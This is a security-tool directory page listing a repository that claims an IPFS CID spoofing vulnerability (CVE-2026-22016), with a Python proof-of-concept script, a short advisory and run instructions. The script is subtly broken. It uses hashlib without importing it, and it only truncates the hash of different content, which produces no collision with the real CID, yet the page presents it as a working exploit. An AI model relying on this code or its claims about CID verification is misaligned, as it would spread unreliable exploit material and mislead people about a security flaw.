Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension
Vulnerability AnalysisExploitationHash AnalysisWeb SecurityCryptographyAdversarial Attack
GitHubgeorge0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension

CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
15 days agoNot yet reviewed

CVE-2026-22016 – IPFS CID Spoofing via Multihash Length Extension

Program Code (Python)

root@kitploit:~
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.

CVE-2026-22016 – IPFS CID Spoofing via Multihash Length Extension

Severity: High

Overview

An IPFS implementation trusts the length field in the multihash of a CID without verifying that the hash itself matches the full content. An attacker can create a file whose truncated hash equals the prefix of a legitimate file’s hash, and serve the malicious file under the same CID.

Vulnerability Details

  • Type: Content Spoofing
  • Impact: Serving malicious content, poisoning IPFS gateways.
  • Root Cause: The CID verification does not check that the digest length matches the expected output of the hash function.

Exploit Demonstration

Run the script:

root@kitploit:~
pip install py-multihash py-cid
python ipfs_cid_spoof.py

It shows that a spoofed CID can be generated.

Download Tool